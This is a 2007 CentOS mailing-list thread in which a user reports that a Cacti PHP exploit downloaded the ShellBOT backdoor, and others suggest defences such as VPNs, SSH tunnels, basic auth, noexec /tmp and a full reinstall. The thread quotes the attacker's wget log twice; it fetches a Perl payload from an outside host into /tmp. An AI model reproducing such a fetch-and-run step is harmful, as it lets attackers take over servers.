CentOS - May 2007 - Suggested way to remotely monitor servers and networks these days?

Hi folks,

I'm just wondering what is the recommended way of monitoring servers and
networks remotely. My current setup is to install and configure cacti and
nagios. I've set these up to require SSL. This way, I can easily go to them
and login from wherever I am and monitor (almost) everything I need to
monitor.

The problem is that leaving cacti open was the most stupid thing I've done.
After checking /var/log/httpd/error_log, I saw that someone exploited a
cacti php file and the result was:

--08:13:11--  http://psaico.host.sk/desk.pl
           => `/tmp/desk.pl'
Resolving psaico.host.sk... 62.168.109.150
Connecting to psaico.host.sk|62.168.109.150|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20,144 (20K) [text/x-perl]

    0K .......... .........                                  100%   28.26KB/s

08:13:13 (28.26 KB/s) - `/tmp/desk.pl' saved [20144/20144]

which immediately downloaded ShellBOT to /tmp and executed it. It was a good
thing I caught this as early as I did. So, what's everyone elses solution
these days? Or is it simply a matter of creating a /tmp partition and
mounting it noexec?

On a side note... anyone with experience with ShellBOT? From research, it
seems to attempt to connect to an IRC server upon running. So if my outgoing
connections are secured by iptables, can I assume it never got connected at
all? I'll probably try this out someday but just looking for a quick
experienced answer.

Thanks!

dex
-------------- next part --------------
An HTML attachment was scrubbed...
URL:
<http://lists.centos.org/pipermail/centos/attachments/20070524/fc916a85/attachment.html>

<snip>
> The problem is that leaving cacti open was the most stupid thing I've
done.
> After checking /var/log/httpd/error_log, I saw that someone exploited a
> cacti php file and the result was:
<snip>
> which immediately downloaded ShellBOT to /tmp and executed it. It was a
good
> thing I caught this as early as I did. So, what's everyone elses
solution
> these days? Or is it simply a matter of creating a /tmp partition and
> mounting it noexec?
<snip>

Using htaccess in addition to the built-in Cacti auth might be
helpful.  What version of Cacti were you running?  Something like
mod_security might be helpful as well.

Dave

Dexter Ang spake the following on 5/23/2007 5:36 PM:
> Hi folks,
> 
> I'm just wondering what is the recommended way of monitoring servers
and
> networks remotely. My current setup is to install and configure cacti
> and nagios. I've set these up to require SSL. This way, I can easily go
> to them and login from wherever I am and monitor (almost) everything I
> need to monitor.
> 
> The problem is that leaving cacti open was the most stupid thing I've
> done. After checking /var/log/httpd/error_log, I saw that someone
> exploited a cacti php file and the result was:
Have you tried something as simple as using ssh tunnels on obscure ports and
not having the tools pointed to outward facing interfaces?
You can even use putty and xming on a windows machine and get in that way.
If you keep your ssh secure and even only use key based logins, you can feel
at least a little safer.

-- 

MailScanner is like deodorant...
You hope everybody uses it, and
you notice quickly if they don't!!!!

On Thu, May 24, 2007 at 08:36:11AM +0800, Dexter Ang
said:
> I'm just wondering what is the recommended way of monitoring servers
and
> networks remotely. My current setup is to install and configure cacti and
> nagios. I've set these up to require SSL. This way, I can easily go to
them
> and login from wherever I am and monitor (almost) everything I need to
> monitor.
I've setup some services like this where I configure the firewall to
only allow access to the tools from known IP addresses, and then setup
openvpn to allow access from unknown IP's. 

Another option is to put all PHP / restricted apps in SSL protected
areas, and then use apache basicauth to restrict access to the php
application, not relying on the application to provide security.
 
> The problem is that leaving cacti open was the most stupid thing I've
done.
> After checking /var/log/httpd/error_log, I saw that someone exploited a
> cacti php file and the result was:
<snip>
 
> which immediately downloaded ShellBOT to /tmp and executed it. It was a
good
> thing I caught this as early as I did. So, what's everyone elses
solution
> these days? Or is it simply a matter of creating a /tmp partition and
> mounting it noexec?
I mount /tmp with nosuid,noexec and this is normally OK, but I have run
into a couple issues.

For example, some RPM's fail to install because they run a script from
/tmp during the process. HP driver / utilities  are notorious for this.

On an unrelated note, I don't know WHAT it is about PHP, but I've seen
more remote exploits from PHP apps than anything else. 

http://www.securityfocus.com/news/11430
http://blog.php-security.org/

It's enough that I'm very close to banning all PHP applications from my
site, or at least require all php apps to go through a security audit
before they are deployed. There are other things you can do too:

http://linuxmafia.com/faq/Security/php.html

IMHO, reducing exposure by reducing access is the best thing you can do.

Hope this helps!

On Thu, 24 May 2007, Dexter Ang wrote:
> Hi folks,
>
> I'm just wondering what is the recommended way of monitoring servers
and
> networks remotely. My current setup is to install and configure cacti and
> nagios. I've set these up to require SSL. This way, I can easily go to
them
> and login from wherever I am and monitor (almost) everything I need to
> monitor.
You might want to look at hobbit. http://sourceforge.net/projects/hobbitmon/

I find it much easier to manage than nagios. Besides the UI looks nicer. :-)
>
> The problem is that leaving cacti open was the most stupid thing I've
done.
> After checking /var/log/httpd/error_log, I saw that someone exploited a
> cacti php file and the result was:
>
> --08:13:11--  http://psaico.host.sk/desk.pl
>          => `/tmp/desk.pl'
> Resolving psaico.host.sk... 62.168.109.150
> Connecting to psaico.host.sk|62.168.109.150|:80... connected.
> HTTP request sent, awaiting response... 200 OK
> Length: 20,144 (20K) [text/x-perl]
>
>   0K .......... .........                                  100%   28.26KB/s
>
> 08:13:13 (28.26 KB/s) - `/tmp/desk.pl' saved [20144/20144]
>
> which immediately downloaded ShellBOT to /tmp and executed it. It was a
good
> thing I caught this as early as I did. So, what's everyone elses
solution
> these days? Or is it simply a matter of creating a /tmp partition and
> mounting it noexec?
>
> On a side note... anyone with experience with ShellBOT? From research, it
> seems to attempt to connect to an IRC server upon running. So if my
outgoing
> connections are secured by iptables, can I assume it never got connected at
> all? I'll probably try this out someday but just looking for a quick
> experienced answer.
It does not matter if they connected or not. The bottom line the machine was 
hacked and someting got installed that does not belong there. There is no way
at this point to be sure that they did not install something else or modify 
binaries to hide their tracks.

So now the only to be sure there is not something in that machine is to reload
it. Anything less and you will never know for sure.

Regards,

-- 
Tom Diehl		tdiehl at rogueind.com		Spamtrap address mtd123 at rogueind.com

On 5/23/07, Dexter Ang <thepoch at gmail.com>
wrote:
>
> I'm just wondering what is the recommended way of monitoring
> servers and networks remotely. My current setup is to install
> and configure cacti and nagios. I've set these up to require SSL.
> This way, I can easily go to them and login from wherever I am
> and monitor (almost) everything I need to monitor.
>
Why not run a VPN server instead of opening up the server?

Later,
Scott